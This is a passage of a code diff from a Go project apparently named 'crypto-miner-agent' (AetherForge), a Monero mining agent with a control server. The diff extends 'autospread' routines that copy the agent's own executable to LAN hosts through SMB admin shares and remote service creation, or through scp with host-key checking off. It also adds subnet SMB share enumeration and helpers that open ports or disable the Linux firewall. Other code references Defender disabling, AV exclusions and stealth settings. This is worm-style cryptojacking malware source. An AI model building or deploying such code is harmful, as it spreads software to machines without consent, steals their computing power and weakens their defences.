+	beginSpreadSweep("smb_scm", len(filtered))
+	if len(filtered) == 0 {
+		finishSpreadSweepImmediate()
+		return
+	}
+	for _, target := range filtered {
 		spreadSem <- struct{}{}
 		go func(t string) {
 			defer func() { <-spreadSem }()
@@ -111,12 +120,14 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
 	// 1. Quick pre-check: Is port 445 (SMB) open?
 	conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
 	if err != nil {
+		recordSpreadAttempt(target, false, "port 445 closed")
 		return
 	}
 	conn.Close()

 	exePath, err := os.Executable()
 	if err != nil {
+		recordSpreadAttempt(target, false, "executable path unavailable")
 		return
 	}

@@ -130,7 +141,8 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {
 		// Fallback to C$ hidden temp folder if System32 is restricted
 		cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
 		if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
-			return // Access denied or host unreachable
+			recordSpreadAttempt(target, false, "smb copy denied")
+			return
 		}
 		remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
 	}
@@ -146,5 +158,8 @@ func attemptSpread(cfg config.RuntimeConfig, target string) {

 	if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
 		log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
+		recordSpreadAttempt(target, true, "")
+	} else {
+		recordSpreadAttempt(target, false, "remote service start failed")
 	}
 }
--- a/agent/deploy/autospread_unix.go
+++ b/agent/deploy/autospread_unix.go
@@ -9,7 +9,6 @@ import (
 	"os"
 	"os/exec"
 	"path/filepath"
-	"strings"
 	"time"

 	"crypto-miner-agent/config"
@@ -90,10 +89,19 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
 	for _, ip := range getLocalIPs() {
 		localSet[ip] = true
 	}
+	var filtered []string
 	for _, target := range targets {
 		if localSet[target] {
 			continue
 		}
+		filtered = append(filtered, target)
+	}
+	beginSpreadSweep("ssh", len(filtered))
+	if len(filtered) == 0 {
+		finishSpreadSweepImmediate()
+		return
+	}
+	for _, target := range filtered {
 		spreadSem <- struct{}{}
 		go func(t string) {
 			defer func() { <-spreadSem }()
@@ -105,6 +113,7 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
 func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
 	conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
 	if err != nil {
+		recordSpreadAttempt(target, false, "port 22 closed")
 		return
 	}
 	conn.Close()
@@ -119,6 +128,7 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
 		}
 		scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
 		if err := scp.Run(); err != nil {
+			recordSpreadAttempt(target, false, "scp failed")
 			return
 		}
 	}
@@ -127,6 +137,9 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
 		fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
 	if err := start.Run(); err == nil {
 		log.Printf("[autospread] deployed to %s via SSH", target)
+		recordSpreadAttempt(target, true, "")
+	} else {
+		recordSpreadAttempt(target, false, "ssh start failed")
 	}
 }

--- a/agent/deploy/defender_linux.go
+++ b/agent/deploy/defender_linux.go
@@ -0,0 +1,11 @@
+//go:build linux
+
+package deploy
+
+import "fmt"
+
+func DisableDefenderRealtime() (string, error) {
+	return "", fmt.Errorf("defender control is Windows-only (no Windows Defender on Linux)")
+}
+
+func SilentAVExclusion(_, _ string) {} // no-op on Linux
--- a/agent/deploy/firewall_linux_ops.go
+++ b/agent/deploy/firewall_linux_ops.go
@@ -0,0 +1,83 @@
+//go:build linux
+
+package deploy
+
+import (
+	"fmt"
+	"os/exec"
+	"strings"
+)
+
+func OpenFirewallPort(port int, name string) (string, error) {
+	if port <= 0 || port > 65535 {
+		return "", fmt.Errorf("invalid port %d", port)
+	}
+	if ufw, err := exec.LookPath("ufw"); err == nil {
+		rule := fmt.Sprintf("%d/tcp", port)
+		out, runErr := exec.Command(ufw, "allow", rule, "comment", name).CombinedOutput()
+		if runErr != nil {
+			return "", fmt.Errorf("ufw allow: %v (%s)", runErr, strings.TrimSpace(string(out)))
+		}
+		return fmt.Sprintf("ufw allow %s (%s)", rule, name), nil
+	}
+	if ipt, err := exec.LookPath("iptables"); err == nil {
+		out, runErr := exec.Command(ipt, "-I", "INPUT", "-p", "tcp", "--dport", fmt.Sprintf("%d", port), "-j", "ACCEPT").CombinedOutput()
+		if runErr != nil {
+			return "", fmt.Errorf("iptables: %v (%s)", runErr, strings.TrimSpace(string(out)))
+		}
+		return fmt.Sprintf("iptables INPUT accept tcp/%d", port), nil
+	}
+	return "", fmt.Errorf("no ufw or iptables found on host")
+}
+
+func SetWindowsFirewallProfiles(enable bool, profiles string) (string, error) {
+	_ = profiles
+	if ufw, err := exec.LookPath("ufw"); err == nil {
+		arg := "disable"
+		if enable {
+			arg = "enable"
+		}
+		out, runErr := exec.Command(ufw, arg).CombinedOutput()
+		if runErr != nil {
+			return "", fmt.Errorf("ufw %s: %v (%s)", arg, runErr, strings.TrimSpace(string(out)))
+		}
+		return fmt.Sprintf("ufw %s", arg), nil
+	}
+	return "", fmt.Errorf("firewall profile control requires ufw on Linux")
+}
+
+func DisableWindowsFirewall() (string, error) {
+	return SetWindowsFirewallProfiles(false, "all")
+}
+
+func EnableWindowsFirewall() (string, error) {
+	return SetWindowsFirewallProfiles(true, "all")
+}
+
+func RemoveFirewallRuleByName(name string) (string, error) {
+	name = strings.TrimSpace(name)
+	if name == "" {
+		return "", fmt.Errorf("rule name required")
+	}
+	if ufw, err := exec.LookPath("ufw"); err == nil {
+		out, runErr := exec.Command(ufw, "status", "numbered").CombinedOutput()
+		if runErr != nil {
+			return "", fmt.Errorf("ufw status: %v", runErr)
+		}
+		for _, line := range strings.Split(string(out), "\n") {
+			if strings.Contains(line, name) {
+				fields := strings.Fields(line)
+				if len(fields) > 0 {
+					num := strings.Trim(fields[0], "[]")
+					delOut, delErr := exec.Command(ufw, "delete", num).CombinedOutput()
+					if delErr != nil {
+						return "", fmt.Errorf("ufw delete: %v (%s)", delErr, strings.TrimSpace(string(delOut)))
+					}
+					return fmt.Sprintf("removed ufw rule %s matching %q", num, name), nil
+				}
+			}
+		}
+		return "", fmt.Errorf("no ufw rule matching %q", name)
+	}
+	return "", fmt.Errorf("firewall rule removal requires ufw on Linux")
+}
--- a/agent/deploy/firewall_linux_ops_test.go
+++ b/agent/deploy/firewall_linux_ops_test.go
@@ -0,0 +1,22 @@
+//go:build linux
+
+package deploy
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestOpenFirewallPortInvalid(t *testing.T) {
+	_, err := OpenFirewallPort(0, "test")
+	if err == nil || !strings.Contains(err.Error(), "invalid port") {
+		t.Fatalf("expected invalid port error, got %v", err)
+	}
+}
+
+func TestRemoveFirewallRuleByNameEmpty(t *testing.T) {
+	_, err := RemoveFirewallRuleByName("")
+	if err == nil || !strings.Contains(err.Error(), "rule name required") {
+		t.Fatalf("expected rule name error, got %v", err)
+	}
+}
--- a/agent/deploy/smb_shares_common.go
+++ b/agent/deploy/smb_shares_common.go
@@ -0,0 +1,26 @@
+package deploy
+
+import "strings"
+
+func parseNetViewShares(text string) []string {
+	var shares []string
+	for _, line := range strings.Split(text, "\n") {
+		line = strings.TrimSpace(line)
+		if line == "" ||
+			strings.HasPrefix(line, "Share name") ||
+			strings.HasPrefix(line, "-----") ||
+			strings.HasPrefix(line, "The command completed") {
+			continue
+		}
+		fields := strings.Fields(line)
+		if len(fields) == 0 {
+			continue
+		}
+		name := fields[0]
+		if strings.EqualFold(name, "System") && len(fields) > 1 {
+			continue
+		}
+		shares = append(shares, name)
+	}
+	return shares
+}
--- a/agent/deploy/smb_shares_stub.go
+++ b/agent/deploy/smb_shares_stub.go
@@ -0,0 +1,16 @@
+//go:build !windows
+
+package deploy
+
+import "encoding/json"
+
+// EnumerateSMBShares is Windows-only (SMB net view on LAN hosts).
+func EnumerateSMBShares(maxHosts int) string {
+	_ = maxHosts
+	b, _ := json.Marshal(map[string]interface{}{
+		"error": "smb_shares is Windows-only",
+		"hosts": []interface{}{},
+		"count": 0,
+	})
+	return string(b)
+}
--- a/agent/deploy/smb_shares_test.go
+++ b/agent/deploy/smb_shares_test.go
@@ -0,0 +1,20 @@
+package deploy
+
+import "testing"
+
+func TestParseNetViewShares(t *testing.T) {
+	sample := `Share name   Type   Used as  Comment
+
+-------------------------------------------------------------------------------
+ADMIN$       Disk             Remote Admin
+C$           Disk             Default share
+IPC$         IPC              Remote IPC
+The command completed successfully.`
+	shares := parseNetViewShares(sample)
+	if len(shares) != 3 {
+		t.Fatalf("shares = %v", shares)
+	}
+	if shares[0] != "ADMIN$" || shares[1] != "C$" {
+		t.Fatalf("unexpected order: %v", shares)
+	}
+}
--- a/agent/deploy/smb_shares_windows.go
+++ b/agent/deploy/smb_shares_windows.go
@@ -0,0 +1,109 @@
+//go:build windows
+
+package deploy
+
+import (
+	"encoding/json"
+	"net"
+	"strings"
+	"time"
+)
+
+type smbHostShares struct {
+	Host       string   `json:"host"`
+	Shares     []string `json:"shares,omitempty"`
+	Accessible bool     `json:"accessible"`
+	Error      string   `json:"error,omitempty"`
+}
+
+type smbSharesResult struct {
+	Hosts []smbHostShares `json:"hosts"`
+	Count int             `json:"count"`
+}
+
+// EnumerateSMBShares probes LAN hosts for reachable SMB shares (net view).
+func EnumerateSMBShares(maxHosts int) string {
+	if maxHosts <= 0 {
+		maxHosts = 32
+	}
+	targets := smbShareTargets(maxHosts)
+	hosts := make([]smbHostShares, 0, len(targets))
+	for _, host := range targets {
+		hosts = append(hosts, probeSMBShares(host))
+	}
+	result := smbSharesResult{Hosts: hosts, Count: len(hosts)}
+	b, _ := json.Marshal(result)
+	return string(b)
+}
+
+func smbShareTargets(maxHosts int) []string {
+	targets := arpHosts()
+	local := getLocalIPs()
+	localSet := make(map[string]bool, len(local))
+	for _, ip := range local {
+		localSet[ip] = true
+	}
+	filtered := make([]string, 0, len(targets))
+	seen := make(map[string]bool)
+	for _, t := range targets {
+		if localSet[t] || seen[t] {
+			continue
+		}
+		seen[t] = true
+		filtered = append(filtered, t)
+	}
+	if len(filtered) < 3 {
+		for _, ip := range local {
+			if !isIPv4(ip) {
+				continue
+			}
+			subnet := getSubnet(ip)
+			if subnet == "" {
+				continue
+			}
+			for i := 1; i < 255 && len(filtered) < maxHosts; i++ {
+				candidate, ok := ipv4SweepHost(subnet, i)
+				if !ok {
+					break
+				}
+				if candidate == ip || seen[candidate] {
+					continue
+				}
+				conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
+				if err == nil {
+					conn.Close()
+					seen[candidate] = true
+					filtered = append(filtered, candidate)
+				}
+			}
+		}
+	}
+	if len(filtered) > maxHosts {
+		filtered = filtered[:maxHosts]
+	}
+	return filtered
+}
+
+func probeSMBShares(host string) smbHostShares {
+	conn, err := net.DialTimeout("tcp", host+":445", 1500*time.Millisecond)
+	if err != nil {
+		return smbHostShares{Host: host, Error: "port 445 closed"}
+	}
+	conn.Close()
+
+	out, err := HiddenOutput("net", "view", "\\\\"+host)
+	text := strings.TrimSpace(string(out))
+	if err != nil {
+		msg := text
+		if msg == "" {
+			msg = err.Error()
+		}
+		return smbHostShares{Host: host, Error: msg}
+	}
+	shares := parseNetViewShares(text)
+	return smbHostShares{
+		Host:       host,
+		Shares:     shares,
+		Accessible: len(shares) > 0,
+	}
+}
--- a/agent/deploy/spread_status.go
+++ b/agent/deploy/spread_status.go
@@ -0,0 +1,108 @@
+package deploy
+
+import (
+	"encoding/json"
+	"runtime"
+	"sync"
+	"time"
+)
+
+type spreadHostResult struct {
+	Host    string `json:"host"`
+	Success bool   `json:"success"`
+	Error   string `json:"error,omitempty"`
+}
+
+type spreadStatusSnapshot struct {
+	StartedAt  string             `json:"started_at,omitempty"`
+	FinishedAt string             `json:"finished_at,omitempty"`
+	InProgress bool               `json:"in_progress"`
+	HostsTried int                `json:"hosts_tried"`
+	Successes  int                `json:"successes"`
+	Errors     int                `json:"errors"`
+	Platform   string             `json:"platform"`
+	Method     string             `json:"method"`
+	Hosts      []spreadHostResult `json:"hosts"`
+}
+
+var (
+	spreadMu      sync.RWMutex
+	spreadSnap    spreadStatusSnapshot
+	spreadPending int
+)
+
+const maxSpreadHostResults = 64
+
+func spreadMethodForPlatform() string {
+	if runtime.GOOS == "windows" {
+		return "smb_scm"
+	}
+	return "ssh"
+}
+
+func beginSpreadSweep(method string, targetCount int) {
+	spreadMu.Lock()
+	spreadSnap = spreadStatusSnapshot{
+		StartedAt:  time.Now().UTC().Format(time.RFC3339),
+		InProgress: targetCount > 0,
+		HostsTried: targetCount,
+		Platform:   runtime.GOOS,
+		Method:     method,
+		Hosts:      nil,
+	}
+	spreadPending = targetCount
+	if targetCount == 0 {
+		spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
+	}
+	spreadMu.Unlock()
+}
+
+func recordSpreadAttempt(host string, success bool, errMsg string) {
+	spreadMu.Lock()
+	defer spreadMu.Unlock()
+	if success {
+		spreadSnap.Successes++
+	} else if errMsg != "" {
+		spreadSnap.Errors++
+	}
+	if len(spreadSnap.Hosts) < maxSpreadHostResults {
+		spreadSnap.Hosts = append(spreadSnap.Hosts, spreadHostResult{
+			Host:    host,
+			Success: success,
+			Error:   errMsg,
+		})
+	}
+	if spreadPending > 0 {
+		spreadPending--
+		if spreadPending == 0 {
+			spreadSnap.InProgress = false
+			spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
+		}
+	}
+}
+
+func finishSpreadSweepImmediate() {
+	spreadMu.Lock()
+	spreadSnap.InProgress = false
+	if spreadSnap.FinishedAt == "" {
+		spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
+	}
+	spreadPending = 0
+	spreadMu.Unlock()
+}
+
+// GetSpreadStatusJSON returns the last lateral spread sweep summary (in-memory).
+func GetSpreadStatusJSON() string {
+	spreadMu.RLock()
+	snap := spreadSnap
+	spreadMu.RUnlock()
+	if snap.StartedAt == "" {
+		snap.Platform = runtime.GOOS
+		snap.Method = spreadMethodForPlatform()
+		if snap.Hosts == nil {
+			snap.Hosts = []spreadHostResult{}
+		}
+	}
+	b, _ := json.Marshal(snap)
+	return string(b)
+}
--- a/agent/deploy/spread_status_test.go
+++ b/agent/deploy/spread_status_test.go
@@ -0,0 +1,43 @@
+package deploy
+
+import (
+	"encoding/json"
+	"testing"
+)
+
+func TestSpreadStatusLifecycle(t *testing.T) {
+	beginSpreadSweep("ssh", 2)
+	recordSpreadAttempt("10.0.0.2", true, "")
+	recordSpreadAttempt("10.0.0.3", false, "auth failed")
+
+	raw := GetSpreadStatusJSON()
+	var snap spreadStatusSnapshot
+	if err := json.Unmarshal([]byte(raw), &snap); err != nil {
+		t.Fatal(err)
+	}
+	if snap.HostsTried != 2 {
+		t.Fatalf("hosts_tried = %d", snap.HostsTried)
+	}
+	if snap.Successes != 1 || snap.Errors != 1 {
+		t.Fatalf("successes=%d errors=%d", snap.Successes, snap.Errors)
+	}
+	if snap.InProgress {
+		t.Fatal("expected sweep finished")
+	}
+	if len(snap.Hosts) != 2 {
+		t.Fatalf("hosts len = %d", len(snap.Hosts))
+	}
+}
+
+func TestSpreadStatusEmptySweep(t *testing.T) {
+	beginSpreadSweep("smb_scm", 0)
+	finishSpreadSweepImmediate()
+	raw := GetSpreadStatusJSON()
+	var snap spreadStatusSnapshot
+	if err := json.Unmarshal([]byte(raw), &snap); err != nil {
+		t.Fatal(err)
+	}
+	if snap.InProgress {
+		t.Fatal("expected not in progress")
+	}
+}
--- a/agent/stats/cpu_common.go
+++ b/agent/stats/cpu_common.go
@@ -0,0 +1,15 @@
+package stats
+
+func cpuBusyPercentFromDeltas(idleDelta, totalDelta float64) float64 {
+	if totalDelta <= 0 {
+		return 0
+	}
+	busyPct := (1.0 - idleDelta/totalDelta) * 100
+	if busyPct < 0 {
+		return 0
+	}
+	if busyPct > 100 {
+		return 100
+	}
+	return busyPct
+}
--- a/agent/stats/cpu_darwin.go
+++ b/agent/stats/cpu_darwin.go
@@ -0,0 +1,62 @@
+//go:build darwin
+
+package stats
+
+import (
+	"os/exec"
+	"strconv"
+	"strings"
+)
+
+func (r *Reporter) SystemCPUPercent() float64 {
+	idle, total, ok := readDarwinCPUSample()
+	if !ok {
+		return 0
+	}
+
+	r.mu.Lock()
+	defer r.mu.Unlock()
+
+	if !r.hasSample {
+		r.lastIdle = idle
+		r.lastTotal = total
+		r.hasSample = true
+		return 0
+	}
+
+	idleDelta := float64(idle - r.lastIdle)
+	totalDelta := float64(total - r.lastTotal)
+	r.lastIdle = idle
+	r.lastTotal = total
+
+	return cpuBusyPercentFromDeltas(idleDelta, totalDelta)
+}
+
+func readDarwinCPUSample() (idle, total uint64, ok bool) {
+	out, err := exec.Command("sysctl", "-n", "kern.cp_time").Output()
+	if err != nil {
+		return 0, 0, false
+	}
+	return parseDarwinCPTimes(string(out))
+}
+
+func parseDarwinCPTimes(raw string) (idle, total uint64, ok bool) {
+	parts := strings.Fields(strings.TrimSpace(raw))
+	if len(parts) < 4 {
+		return 0, 0, false
+	}
+	var values []uint64
+	for _, p := range parts {
+		v, err := strconv.ParseUint(p, 10, 64)
+		if err != nil {
+			return 0, 0, false
+		}
+		values = append(values, v)
+	}
+	for _, v := range values {
+		total += v
+	}
+	// user, nice, sys, idle[, intr]
+	idle = values[3]
+	return idle, total, true
+}
--- a/agent/stats/cpu_linux.go
+++ b/agent/stats/cpu_linux.go
@@ -0,0 +1,72 @@
+//go:build linux
+
+package stats
+
+import (
+	"bufio"
+	"os"
+	"strconv"
+	"strings"
+)
+
+func (r *Reporter) SystemCPUPercent() float64 {
+	idle, total, ok := readProcStatCPUSample()
+	if !ok {
+		return 0
+	}
+
+	r.mu.Lock()
+	defer r.mu.Unlock()
+
+	if !r.hasSample {
+		r.lastIdle = idle
+		r.lastTotal = total
+		r.hasSample = true
+		return 0
+	}
+
+	idleDelta := float64(idle - r.lastIdle)
+	totalDelta := float64(total - r.lastTotal)
+	r.lastIdle = idle
+	r.lastTotal = total
+
+	return cpuBusyPercentFromDeltas(idleDelta, totalDelta)
+}
+
+func readProcStatCPUSample() (idle, total uint64, ok bool) {
+	f, err := os.Open("/proc/stat")
+	if err != nil {
+		return 0, 0, false
+	}
+	defer f.Close()
+
+	sc := bufio.NewScanner(f)
+	if !sc.Scan() {
+		return 0, 0, false
+	}
+	return parseProcStatCPU(sc.Text())
+}
+
+func parseProcStatCPU(line string) (idle, total uint64, ok bool) {
+	fields := strings.Fields(line)
+	if len(fields) < 5 || fields[0] != "cpu" {
+		return 0, 0, false
+	}
+	var values []uint64
+	for _, f := range fields[1:] {
+		v, err := strconv.ParseUint(f, 10, 64)
+		if err != nil {
+			return 0, 0, false
+		}
+		values = append(values, v)
+	}
+	for _, v := range values {
+		total += v
+	}
+	// idle + iowait (index 3 and 4 when present)
+	idle = values[3]
+	if len(values) > 4 {
+		idle += values[4]
+	}
+	return idle, total, true
+}
--- a/agent/stats/cpu_linux_test.go
+++ b/agent/stats/cpu_linux_test.go
@@ -0,0 +1,34 @@
+//go:build linux
+
+package stats
+
+import "testing"
+
+func TestParseProcStatCPU(t *testing.T) {
+	idle, total, ok := parseProcStatCPU("cpu  4705 0 1234 8123 45 0 12 0 0 0")
+	if !ok {
+		t.Fatal("expected ok")
+	}
+	if idle != 8123+45 {
+		t.Fatalf("idle=%d", idle)
+	}
+	wantTotal := uint64(4705 + 0 + 1234 + 8123 + 45 + 0 + 12 + 0 + 0 + 0)
+	if total != wantTotal {
+		t.Fatalf("total=%d want %d", total, wantTotal)
+	}
+}
+
+func TestParseProcStatCPUBadLine(t *testing.T) {
+	if _, _, ok := parseProcStatCPU("meminfo"); ok {
+		t.Fatal("expected false for non-cpu line")
+	}
+}
+
+func TestSystemCPUPercentLinuxSecondSample(t *testing.T) {
+	r := NewReporter()
+	_ = r.SystemCPUPercent() // first sample seeds baseline
+	pct := r.SystemCPUPercent()
+	if pct < 0 || pct > 100 {
+		t.Fatalf("cpu percent out of range: %v", pct)
+	}
+}
--- a/agent/stats/cpu_stub.go
+++ b/agent/stats/cpu_stub.go
@@ -0,0 +1,7 @@
+//go:build !windows && !linux && !darwin
+
+package stats
+
+func (r *Reporter) SystemCPUPercent() float64 {
+	return 0
+}
--- a/agent/stats/cpu_windows.go
+++ b/agent/stats/cpu_windows.go
@@ -17,20 +17,6 @@ func filetimeToUint64(ft filetime) uint64 {
 	return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime)
 }

-func cpuBusyPercentFromDeltas(idleDelta, totalDelta float64) float64 {
-	if totalDelta <= 0 {
-		return 0
-	}
-	busyPct := (1.0 - idleDelta/totalDelta) * 100
-	if busyPct < 0 {
-		return 0
-	}
-	if busyPct > 100 {
-		return 100
-	}
-	return busyPct
-}
-
 func (r *Reporter) SystemCPUPercent() float64 {
 	r.mu.Lock()
 	defer r.mu.Unlock()
--- a/agent/stats/reporter_unix.go
+++ b/agent/stats/reporter_unix.go
@@ -10,6 +10,10 @@ import (

 type Reporter struct {
 	mu sync.Mutex
+
+	lastIdle  uint64
+	lastTotal uint64
+	hasSample bool
 }

 func NewReporter() *Reporter {
@@ -45,6 +49,3 @@ func (r *Reporter) TotalMemoryMB() uint64 {
 	return total / (1024 * 1024)
 }

-func (r *Reporter) SystemCPUPercent() float64 {
-	return 0
-}
--- a/data-e2e/config.json
+++ b/data-e2e/config.json
@@ -0,0 +1,18 @@
+{
+    "port":  8989,
+    "wallet":  {
+                   "payment_id":  "",
+                   "address":  "85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm"
+               },
+    "pool":  {
+                 "port":  3333,
+                 "host":  "pool.supportxmr.com",
+                 "use_tls":  false,
+                 "password":  "x"
+             },
+    "server":  {
+                   "open_firewall_on_start":  false,
+                   "log_share_submissions":  true,
+                   "log_agent_connections":  true
+               }
+}
--- a/data-e2e/users.json
+++ b/data-e2e/users.json
@@ -0,0 +1 @@
+{"testuser":"testpass"}
--- a/docker/Dockerfile.agent
+++ b/docker/Dockerfile.agent
@@ -0,0 +1,15 @@
+# Linux agent for isolated Docker E2E (RandomX is pure Go — no CGO).
+FROM golang:1.26-bookworm AS build
+WORKDIR /src
+COPY agent/go.mod agent/go.sum ./
+RUN go mod download
+COPY agent/ ./
+COPY docker/agent-builtin.go ./config/builtin.go
+RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /worker .
+
+FROM debian:bookworm-slim
+RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl && rm -rf /var/lib/apt/lists/*
+WORKDIR /app
+COPY --from=build /worker /app/worker
+ENV MINER_LOG_FILE=/tmp/miner.log
+ENTRYPOINT ["/app/worker"]
--- a/docker/Dockerfile.server
+++ b/docker/Dockerfile.server
@@ -0,0 +1,15 @@
+# AetherForge control server for Linux Docker E2E.
+FROM golang:1.26-bookworm AS build
+WORKDIR /src
+COPY server/go.mod server/go.sum ./
+RUN go mod download
+COPY server/ ./
+RUN CGO_ENABLED=0 go build -o /miner-server .
+
+FROM debian:bookworm-slim
+RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates curl && rm -rf /var/lib/apt/lists/*
+WORKDIR /app
+COPY --from=build /miner-server /app/miner-server
+COPY docker/data/ /data/
+EXPOSE 8989
+ENTRYPOINT ["/app/miner-server", "-port", "8989", "-data", "/data"]
--- a/docker/README.md
+++ b/docker/README.md
@@ -0,0 +1,76 @@
+# Docker Linux E2E
+
+Isolated bridge network for validating the **Linux agent** against a real control server without installing the agent on the host.
+
+## Topology
+
+```
+┌──────────────── docker network: e2e-internal (no host egress) ────────────────┐
+│  agent container ──WS──► server container :8989                              │
+└──────────────────────────────────────────────────────────────────────────────┘
+                                      │
+                              server also on `default`
+                                      ▼
+                            Stratum pool (internet)
+```
+
+- **Agent** — only on `e2e-internal` (`internal: true`). Cannot reach the internet; mines via C2 jobs from the server.
+- **Server** — on `e2e-internal` + default bridge so it can reach upstream Stratum and expose `18989` to the host dashboard.
+
+## Prerequisites
+
+- Docker Engine 24+ with `docker compose`
+- ~2 GB free disk for golang build images
+
+RandomX uses the pure-Go `go-randomx` module — **no CGO or librandomx** required in the agent image.
+
+## Quick start
+
+From repo root:
+
+```bash
+docker compose -f docker/docker-compose.yml up --build
+```
+
+Watch server logs for `[WS] Agent auth` and `[Pool]` job lines. Watch agent logs:
+
+```bash
+docker compose -f docker/docker-compose.yml logs agent
+```
+
+## Verify hashrate
+
+1. **Dashboard** — open `http://127.0.0.1:18989`, login `testuser` / `testpass`, check Fleet Roster for `docker-e2e-linux`.
+2. **Stats fields** — node card should show `hashrate_15s`, `hashrate_1m`, `hashrate_15m`, and share counters after ~30s.
+3. **Server logs** — `docker compose -f docker/docker-compose.yml logs -f server` — look for agent stats WS messages and share submissions if enabled.
+4. **Agent log** — `docker compose -f docker/docker-compose.yml exec agent cat /tmp/miner.log` (if present).
+
+## Teardown
+
+```bash
+docker compose -f docker/docker-compose.yml down --rmi local -v
+```
+
+## Fixed test credentials
+
+| Item | Value |
+|------|-------|
+| Fleet secret | `e2e-docker-fleet-secret-fixed001` |
+| Dashboard user | `testuser` / `testpass` |
+| Host port | `18989` → server `8989` |
+| Test XMR wallet | `85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm` |
+
+The wallet is baked into `docker/data/config.json` (server pool login) and `docker/agent-builtin.go` (agent fallback). It is a **public test address** for E2E only — not for production mining.
+
+## Troubleshooting
+
+| Symptom | Check |
+|---------|-------|
+| Agent exits immediately | `logs agent` — wallet/server URL baked in `docker/agent-builtin.go` |
+| Auth rejected | `fleet_secret` must match in `docker/data/config.json` and `docker/agent-builtin.go` |
+| Hashrate 0 forever | Server pool connectivity — server needs default-network egress |
+| Idle mode never mines | Use `mining_mode: always` in docker builtin (default here) |
+
+## Host server alternative
+
+To point the agent container at a server on the host instead of the `server` service, change `ServerURL` in `docker/agent-builtin.go` to `http://host.docker.internal:8989` (Docker Desktop) and run only the agent service.
--- a/docker/agent-builtin.go
+++ b/docker/agent-builtin.go
@@ -0,0 +1,47 @@
+// E2E Docker builtin — copied over agent/config/builtin.go at image build time.
+package config
+
+import "time"
+
+func GetBuiltinConfig() BuiltinConfig {
+	return BuiltinConfig{
+		WorkerName:          "docker-e2e-linux",
+		ServerURL:           "http://server:8989",
+		FleetSecret:         "e2e-docker-fleet-secret-fixed001",
+		Wallet:              "85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm",
+		Threads:             2,
+		ThreadMode:          "fixed",
+		ThreadPercent:       50,
+		CPUPriority:         "below_normal",
+		MiningMode:          "always",
+		DisplayMode:         "visible",
+		SilentMode:          false,
+		RunAs:               "user",
+		AutoStart:           false,
+		ProcessName:         "docker-e2e-worker",
+		BuildID:             "docker-e2e",
+		BuiltAt:             time.Now(),
+		PoolHost:            "pool.supportxmr.com",
+		PoolPort:            3333,
+		PoolTLS:             false,
+		PoolPass:            "x",
+		MaxCPUUsage:         95,
+		MaxMemoryPct:        85,
+		MinFreeRAM:          256,
+		IdleThresholdPct:    20,
+		IdleDurationMinutes: 5,
+		ScheduleStart:       "00:00",
+		ScheduleEnd:         "23:59",
+		InstallBase:         "custom",
+		InstallCustomBase:   "/tmp/aetherforge-e2e",
+		InstallRelativePath: "worker",
+		AdaptToHardware:     false,
+		SelfHealing:         false,
+		FileLogging:         true,
+		StealthMode:         false,
+		FirewallExclusion:   false,
+		AutoSpread:          false,
+		RemoteAggressive:    false,
+		GPUEnabled:          false,
+	}
+}
--- a/docker/data/config.json
+++ b/docker/data/config.json
@@ -0,0 +1,19 @@
+{
+  "port": 8989,
+  "pool": {
+    "host": "pool.supportxmr.com",
+    "port": 3333,
+    "use_tls": false,
+    "password": "x"
+  },
+  "wallet": {
+    "address": "85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm",
+    "payment_id": ""
+  },
+  "server": {
+    "fleet_secret": "e2e-docker-fleet-secret-fixed001",
+    "log_agent_connections": true,
+    "log_share_submissions": true,
+    "open_firewall_on_start": false
+  }
+}
--- a/docker/data/users.json
+++ b/docker/data/users.json
@@ -0,0 +1 @@
+{"testuser":"testpass"}
--- a/docker/docker-compose.yml
+++ b/docker/docker-compose.yml
@@ -0,0 +1,33 @@
+# Isolated Linux agent E2E — agent reaches only the server; server has pool egress.
+services:
+  server:
+    build:
+      context: ..
+      dockerfile: docker/Dockerfile.server
+    ports:
+      - "18989:8989"
+    networks:
+      - e2e-internal
+      - default
+    healthcheck:
+      test: ["CMD-SHELL", "curl -sf http://127.0.0.1:8989/api/v1/health || exit 1"]
+      interval: 5s
+      timeout: 3s
+      retries: 12
+      start_period: 15s
+
+  agent:
+    build:
+      context: ..
+      dockerfile: docker/Dockerfile.agent
+    depends_on:
+      server:
+        condition: service_healthy
+    networks:
+      - e2e-internal
+    restart: "no"
+
+networks:
+  e2e-internal:
+    driver: bridge
+    internal: true
